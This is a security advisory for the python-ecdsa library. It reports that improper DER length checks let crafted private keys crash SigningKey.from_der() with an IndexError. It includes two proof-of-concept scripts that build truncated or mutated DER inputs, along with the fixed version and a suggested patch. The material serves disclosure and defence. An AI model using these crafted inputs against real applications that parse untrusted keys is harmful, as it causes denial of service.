GHSA-9f5j-8jwj-x28g python-ecdsa: Denial of Service via improper DER length validation in crafted private keys

• PyPI ecdsa: < 0.19.2 → fixed in 0.19.2

Summary An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. 1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. 2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Impact Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions. Reproduction Attach and run the following PoCs: poc_truncated_der_octet.py ```python from ecdsa.der import remove_octet_string, UnexpectedDER OCTET STRING (0x04) Declared length: 0x82 0x10 0x00 -> 4096 bytes Actual body: only 3 bytes -> truncated DER bad = b"\x04\x82\x10\x00" + b"ABC" try: body, rest = remove_octet_string(bad) print("[BUG] remove_octet_string accepted truncated DER.") print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest)) print("Body=", body) print("Rest=", rest) except UnexpectedDER as e: print("[OK] Rejected malformed DER:", e) ``` • Expected: reject malformed DER when declared length exceeds available bytes • Actual: accepts the truncated DER and returns a shorter body • Example output: ``` Parsed body_len= 3 rest_len= 0 (while declared length is 4096) ``` poc_signingkey_from_der_indexerror.py ```python from ecdsa import SigningKey, NIST256p import ecdsa print("ecdsa version:", ecdsa.__version__) sk = SigningKey.generate(curve=NIST256p) good = sk.to_der() print("Good DER len:", len(good)) def find_crashing_mutation(data: bytes): b = bytearray(data) # Try every OCTET STRING tag position and corrupt a short-form length byte for i in range(len(b) - 4): if b[i] != 0x04: # OCTET STRING tag continue L = b[i + 1] if L >= 0x80: # skip long-form lengths for simplicity continue max_possible = len(b) - (i + 2) if max_possible truncation newL = min(0x7F, max_possible + 20) b2 = bytearray(b) b2[i + 1] = newL try: SigningKey.from_der(bytes(b2)) except Exception as e: return i, type(e).__name__, str(e) return None res = find_crashing_mutation(good) if res is None: print("[INFO] No exception triggered by this mutation strategy.") else: i, etype, msg = res print("[BUG] SigningKey.from_der raised unexpected exception type.") print("Offset:", i, "Exception:", etype, "Message:", msg) ``` • Expected: reject malformed DER with `UnexpectedDER` or `ValueError` • Actual: deterministically triggers an internal `IndexError` (DoS risk) • Example output: ``` Result: (5, 'IndexError', 'index out of bounds on dimension 1') ``` Suggested fix Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`: • `remove_octet_string()` • `remove_constructed()` • `remove_implicit()` Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes. Credit Mohamed Abdelaal (@0xmrma)